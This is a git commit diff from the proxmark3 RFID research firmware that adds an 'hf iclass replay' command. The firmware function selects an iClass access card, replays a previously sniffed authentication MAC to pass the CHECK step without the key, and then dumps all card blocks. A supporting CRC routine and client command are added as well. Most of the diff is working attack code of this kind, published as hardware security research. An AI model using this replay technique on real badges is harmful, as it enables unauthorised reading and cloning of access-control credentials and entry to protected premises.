]> cvs.zerfleddert.de Git - proxmark3-svn/commitdiff
Implement replay command.
authorpenturalabs <andy.davies@pentura.com>
Tue, 15 Apr 2014 10:47:01 +0000 (11:47 +0100)
committerpenturalabs <andy.davies@pentura.com>
Tue, 15 Apr 2014 10:47:01 +0000 (11:47 +0100)
README.txt
armsrc/appmain.c
armsrc/apps.h
armsrc/iclass.c
client/cmdhficlass.c
client/cmdhficlass.h
common/iso15693tools.c
common/iso15693tools.h
include/usb_cmd.h

index 1e46bf0c6bd416ad6dea008e65ab8ef6f0f5a77a..1f506f21f3dfcb3f32be2c1179c6e426b2fbc571 100644 (file)
@@ -1,161 +1,7 @@
-NOTICE:
-(2014-03-17)
-Moving the repository from google code to GitHub is up for discussion!
-Please check out the following thread and post your comments...
-http://www.proxmark.org/forum/viewtopic.php?id=1902
-Discussions will close on March 31st.
+iclass research
+===============
 
-INTRO:
-
-This file contains enough software, logic (for the FPGA), and design
-documentation for the hardware that you could, at least in theory,
-do something useful with a proxmark3. It has commands to:
-
-    * read any kind of 125 kHz unidirectional tag
-    * simulate any kind of 125 kHz unidirectional tag
-
-(This is enough to perform all of the silly cloning attacks, like the
-ones that I did at the Capitol in Sacramento, or anything involving
-a Verichip. From a technical standpoint, these are not that exciting,
-although the `software radio' architecture of the proxmark3 makes it
-easy and fun to support new formats.)
-
-As a bonus, I include some code to use the 13.56 MHz hardware, so you can:
-
-    * do anything that a (medium-range) ISO 15693 reader could
-    * read an ISO 14443 tag, if you know the higher-layer protocol
-    * pretend to be an ISO 14443 tag, if you know the higher-layer protocol
-    * snoop on an ISO 14443 transaction
-
-I am not actively developing any of this. I have other projects that
-seem to be more useful.
-
-USING THE PACKAGE:
-
-The software tools required to build include:
-
-    * cygwin or other unix-like tools for Windows
-    * devkitPro (http://wiki.devkitpro.org/index.php/Getting_Started/devkitARM)
-    * Xilinx's WebPack tools
-    * Modelsim (for test only)
-    * perl
-
-When installing devkitPro, you only need to install the compiler itself. Additional
-support libraries are  not required.
-
-Documentation is minimal, but see the doc/ directory for what exists. A
-previous familiarity with the ARM, with digital signal processing,
-and with embedded programming in general is assumed.
-
-The device is used through a specialized command line interface; for
-example, to clone a Verichip, you might type:
-
-    loread                          ; this reads the tag, and stores the
-                                    ; raw samples in memory on the ARM
-
-    losamples                       ; then we download the samples to
-                                    ; the PC
-
-    vchdemod clone                  ; demodulate the ID, and then put it
-                                    ; back in a format that we can replay
-
-    losim                           ; and then replay it
-
-To read an ISO 15693 tag, you might type:
-
-    hiread                          ; read the tag; this involves sending a
-                                    ; particular command, and then getting
-                                    ; the response (which is stored as raw
-                                    ; samples in memory on the ARM)
-
-    hisamples                       ; then download those samples to the PC
-
-    hi15demod                       ; and demod them to bits (and check the
-                                    ; CRC etc. at the same time)
-
-Notice that in both cases the signal processing mostly happened on the PC
-side; that is of course not practical for a real reader, but it is easier
-to initially write your code and debug on the PC side than on the ARM. As
-long as you use integer math (and I do), it's trivial to port it over
-when you're done.
-
-The USB driver and bootloader are documented (and available separately
-for download, if you wish to use them in another project) at
-
-    http://cq.cx/trivia.pl
-
-
-OBTAINING HARDWARE:
-
-Most of the ultra-low-volume contract assemblers that have sprung up
-(Screaming Circuits, the various cheap Asian suppliers, etc.) could put
-something like this together with a reasonable yield. A run of around
-a dozen units is probably cost-effective. The BOM includes (possibly-
-outdated) component pricing, and everything is available from Digikey
-and the usual distributors.
-
-If you've never assembled a modern circuit board by hand, then this is
-not a good place to start. Some of the components (e.g. the crystals)
-must not be assembled with a soldering iron, and require hot air.
-
-The schematics are included; the component values given are not
-necessarily correct for all situations, but it should be possible to do
-nearly anything you would want with appropriate population options.
-
-The printed circuit board artwork is also available, as Gerbers and an
-Excellon drill file.
-
-
-FUTURE PLANS, ENHANCEMENTS THAT YOU COULD MAKE:
-
-At some point I should write software involving a proper real-time
-operating system for the ARM. I would then provide interrupt-driven
-drivers for many of the peripherals that are polled now (the USB,
-the data stream from the FPGA), which would make it easier to develop
-complex applications.
-
-It would not be all that hard to implement the ISO 15693 reader properly
-(with anticollision, all the commands supported, and so on)--the signal
-processing is already written, so it is all straightforward applications
-work.
-
-I have basic support for ISO 14443 as well: a sniffer, a simulated
-tag, and a reader. It won't do anything useful unless you fill in the
-high-layer protocol.
-
-Nicer (i.e., closer-to-optimal) implementations of all kinds of signal
-processing would be useful as well.
-
-A practical implementation of the learning-the-tag's-ID-from-what-the-
-reader-broadcasts-during-anticollision attacks would be relatively
-straightforward. This would involve some signal processing on the FPGA,
-but not much else after that.
-
-It would be neat to write a driver that could stream samples from the A/Ds
-over USB to the PC, using the full available bandwidth of USB. I am not
-yet sure what that would be good for, but surely something. This would
-require a kernel-mode driver under Windows, though, which is more work.
-
-
-LICENSING:
-
-This program is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or
-(at your option) any later version.
-
-This program is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with this program; if not, write to the Free Software
-Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-Jonathan Westhues
-user jwesthues, at host cq.cx
-
-May 2007, Cambridge MA
+Implemented "hf iclass replay <MAC>" where MAC is 8-char Hexidecimal MAC.
 
+Useful to replay a snooped authentication sequence if cc (e-purse) is not correctly updated as per the specification.
+Currently hardset to only read Page 1.
\ No newline at end of file
index 7af47a51945094510cb7f7a6a7cc62e4e3f9188c..71952b12f6cc9df2accf1f75f8ce1cb6999758c5 100644 (file)
@@ -858,6 +858,9 @@ void UsbPacketReceived(uint8_t *packet, int len)
                case CMD_READER_ICLASS:
                        ReaderIClass(c->arg[0]);
                        break;
+               case CMD_READER_ICLASS_REPLAY:
+                       ReaderIClass_Replay(c->arg[0], c->d.asBytes);
+                       break;
 #endif
 
                case CMD_SIMULATE_TAG_HF_LISTEN:
index e21b5ce5ee7e20133af44dbade9868035d049c52..12aedcc2f047caad4af76694b408c9868fb73ff7 100644 (file)
@@ -190,6 +190,7 @@ void SetDebugIso15693(uint32_t flag);
 void RAMFUNC SnoopIClass(void);
 void SimulateIClass(uint8_t arg0, uint8_t *datain);
 void ReaderIClass(uint8_t arg0);
+void ReaderIClass_Replay(uint8_t arg0,uint8_t *MAC);
 
 // hitag2.h
 void SnoopHitag(uint32_t type);
index e876132e74fa68d103de8d76dace64194a5d7d65..c827ed51d6517c49301a71951bf593bca592393e 100644 (file)
@@ -45,6 +45,7 @@
 // same construction as in ISO 14443;
 // different initial value (CRC_ICLASS)
 #include "iso14443crc.h"
+#include "iso15693tools.h"
 
 static int timeout = 4096;
 
@@ -1476,4 +1477,147 @@ void ReaderIClass(uint8_t arg0) {
        LED_A_OFF();
 }
 
+void ReaderIClass_Replay(uint8_t arg0, uint8_t *MAC) {
+       uint8_t act_all[]     = { 0x0a };
+       uint8_t identify[]    = { 0x0c };
+       uint8_t select[]      = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t readcheck_cc[]= { 0x88, 0x02 };
+       uint8_t check[]       = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t read[]        = { 0x0c, 0x00, 0x00, 0x00 };
+       
+        uint16_t crc = 0;
+       uint8_t cardsize=0;
+       bool read_success=false;
+       uint8_t mem=0;
+       
+       static struct memory_t{
+         int k16;
+         int book;
+         int k2;
+         int lockauth;
+         int keyaccess;
+       } memory;
+       
+       uint8_t* resp = (((uint8_t *)BigBuf) + 3560);   // was 3560 - tied to other size changes
+
+       // Reset trace buffer
+       memset(trace, 0x44, RECV_CMD_OFFSET);
+       traceLen = 0;
+
+       // Setup SSC
+       FpgaSetupSsc();
+       // Start from off (no field generated)
+       // Signal field is off with the appropriate LED
+       LED_D_OFF();
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+       SpinDelay(200);
+
+       SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+
+       // Now give it time to spin up.
+       // Signal field is on with the appropriate LED
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+       SpinDelay(200);
+
+       LED_A_ON();
+
+       for(int i=0;i<1;i++) {
+       
+               if(traceLen > TRACE_SIZE) {
+                       DbpString("Trace full");
+                       break;
+               }
+               
+               if (BUTTON_PRESS()) break;
+
+               // Send act_all
+               ReaderTransmitIClass(act_all, 1);
+               // Card present?
+               if(ReaderReceiveIClass(resp)) {
+                       ReaderTransmitIClass(identify, 1);
+                       if(ReaderReceiveIClass(resp) == 10) {
+                               // Select card          
+                               memcpy(&select[1],resp,8);
+                               ReaderTransmitIClass(select, sizeof(select));
+
+                               if(ReaderReceiveIClass(resp) == 10) {
+                                       Dbprintf("     Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }
+                               // Card selected
+                               Dbprintf("Readcheck on Sector 2");
+                               ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
+                               if(ReaderReceiveIClass(resp) == 8) {
+                                  Dbprintf("     CC: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }else return;
+                               Dbprintf("Authenticate");
+                               //for now replay captured auth (as cc not updated)
+                               memcpy(check+5,MAC,4);
+                               Dbprintf("     AA: %02x %02x %02x %02x",
+                                       check[5], check[6], check[7],check[8]);
+                               ReaderTransmitIClass(check, sizeof(check));
+                               if(ReaderReceiveIClass(resp) == 4) {
+                                  Dbprintf("     AR: %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],resp[3]);
+                               }else {
+                                 Dbprintf("Error: Authentication Fail!");
+                                 return;
+                               }
+                               Dbprintf("Dump Contents");
+                               //first get configuration block
+                               read_success=false;
+                               read[1]=1;
+                               uint8_t *blockno=&read[1];
+                               crc = iclass_crc16((char *)blockno,1);
+                               read[2] = crc >> 8;
+                               read[3] = crc & 0xff;
+                               while(!read_success){
+                                     ReaderTransmitIClass(read, sizeof(read));
+                                     if(ReaderReceiveIClass(resp) == 10) {
+                                        read_success=true;
+                                        mem=resp[5];
+                                        memory.k16= (mem & 0x80);
+                                        memory.book= (mem & 0x20);
+                                        memory.k2= (mem & 0x8);
+                                        memory.lockauth= (mem & 0x2);
+                                        memory.keyaccess= (mem & 0x1);
+
+                                     }
+                               }
+                               if (memory.k16){
+                                 cardsize=255;
+                               }else cardsize=32;
+                               //then loop around remaining blocks
+                               for(uint8_t j=0; j<cardsize; j++){
+                                   read_success=false;
+                                   uint8_t *blockno=&j;
+                                   //crc_data[0]=j;
+                                   read[1]=j;
+                                   crc = iclass_crc16((char *)blockno,1);
+                                   read[2] = crc >> 8;
+                                   read[3] = crc & 0xff;
+                                   while(!read_success){
+                                     ReaderTransmitIClass(read, sizeof(read));
+                                     if(ReaderReceiveIClass(resp) == 10) {
+                                        read_success=true;
+                                        Dbprintf("     %02x: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                         j, resp[0], resp[1], resp[2],
+                                         resp[3], resp[4], resp[5],
+                                         resp[6], resp[7]);
+                                     }
+                                   }
+                               }
+                       }
+               }
+               WDT_HIT();
+       }
+       
+       LED_A_OFF();
+}
+
 
index f807e97215825f58c3253c566094a062dd7b3a98..aa5a2145f8c04471639cd86e2f6987a3a0ad0b39 100644 (file)
@@ -219,20 +219,35 @@ int CmdHFiClassReader(const char *Cmd)
   PrintAndLog("--readertype:%02x", readerType);
 
   UsbCommand c = {CMD_READER_ICLASS, {readerType}};
-  //memcpy(c.d.asBytes, CSN, 8);
   SendCommand(&c);
 
-  /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500);
-  if (resp != NULL) {
-       uint8_t                isOK  = resp->arg[0] & 0xff;
-       PrintAndLog("isOk:%02x", isOK);
-  } else {
-       PrintAndLog("Command execute timeout");
-  }*/
+  return 0;
+}
+
+int CmdHFiClassReader_Replay(const char *Cmd)
+{
+  uint8_t readerType = 0;
+  uint8_t MAC[4]={0x00, 0x00, 0x00, 0x00};
+
+  if (strlen(Cmd)<1) {
+    PrintAndLog("Usage:  hf iclass replay <MAC>");
+    PrintAndLog("        sample: hf iclass replay 00112233");
+    return 0;
+  }
+
+  if (param_gethex(Cmd, 0, MAC, 8)) {
+    PrintAndLog("MAC must include 8 HEX symbols");
+    return 1;
+  }
+
+  UsbCommand c = {CMD_READER_ICLASS_REPLAY, {readerType}};
+  memcpy(c.d.asBytes, MAC, 4);
+  SendCommand(&c);
 
   return 0;
 }
 
+
 static command_t CommandTable[] = 
 {
   {"help",    CmdHelp,        1, "This help"},
@@ -240,6 +255,7 @@ static command_t CommandTable[] =
   {"snoop",   CmdHFiClassSnoop,  0, "Eavesdrop iClass communication"},
   {"sim",     CmdHFiClassSim,    0, "Simulate iClass tag"},
   {"reader",  CmdHFiClassReader, 0, "Read an iClass tag"},
+  {"replay",  CmdHFiClassReader_Replay, 0, "Read an iClass tag via Reply Attack"},
   {NULL, NULL, 0, NULL}
 };
 
index c1bf60c79cfab9ec2f11e202f1c93cec8631092e..e4048eb170092b4f6cbfa5266830405ba70f406b 100644 (file)
@@ -18,5 +18,6 @@ int CmdHFiClassSnoop(const char *Cmd);
 int CmdHFiClassSim(const char *Cmd);
 int CmdHFiClassList(const char *Cmd);
 int CmdHFiClassReader(const char *Cmd);
+int CmdHFiClassReader_Replay(const char *Cmd);
 
 #endif
index add0ba69f8367b4d7ede2b5863014d156d3d5251..0f7a250bf94c54651ec048474c3ced3d2b56c0f9 100644 (file)
@@ -12,6 +12,9 @@
 #include <stdlib.h>
 //#include "iso15693tools.h"
 
+#define POLY 0x8408
+
+
 // The CRC as described in ISO 15693-Part 3-Annex C
 //     v       buffer with data
 //             n       length
@@ -63,5 +66,31 @@ char* Iso15693sprintUID(char *target,uint8_t *uid) {
   return target;
 }
 
+unsigned short iclass_crc16(char *data_p, unsigned short length)
+{
+      unsigned char i;
+      unsigned int data;
+      unsigned int crc = 0xffff;
+
+      if (length == 0)
+            return (~crc);
+
+      do
+      {
+            for (i=0, data=(unsigned int)0xff & *data_p++;
+                 i < 8; 
+                 i++, data >>= 1)
+            {
+                  if ((crc & 0x0001) ^ (data & 0x0001))
+                        crc = (crc >> 1) ^ POLY;
+                  else  crc >>= 1;
+            }
+      } while (--length);
 
+      crc = ~crc;
+      data = crc;
+      crc = (crc << 8) | (data >> 8 & 0xff);
+      crc = crc ^ 0xBC3;
+      return (crc);
+}
 
index c831fec4c2d988175cef431f436e9846957a2fd5..ec63728fe1a50604f849ef6ae213f1ecd81554e2 100644 (file)
@@ -70,6 +70,7 @@
 uint16_t Iso15693Crc(uint8_t *v, int n);
 int Iso15693AddCrc(uint8_t *req, int n);
 char* Iso15693sprintUID(char *target,uint8_t *uid);
+unsigned short iclass_crc16(char *data_p, unsigned short length);
 
 //-----------------------------------------------------------------------------
 // Map a sequence of octets (~layer 2 command) into the set of bits to feed
index 9c25555df6bca7f7701b70d6fad107eb9ff1f23c..cd5a8b75264133a3185d5628c38bbccd88db6c9c 100644 (file)
@@ -116,6 +116,7 @@ typedef struct {
 #define CMD_SNOOP_ICLASS                                                  0x0392
 #define CMD_SIMULATE_TAG_ICLASS                                           0x0393
 #define CMD_READER_ICLASS                                                 0x0394
+#define CMD_READER_ICLASS_REPLAY                                         0x0395
 
 // For measurements of the antenna tuning
 #define CMD_MEASURE_ANTENNA_TUNING                                        0x0400
Impressum, Datenschutz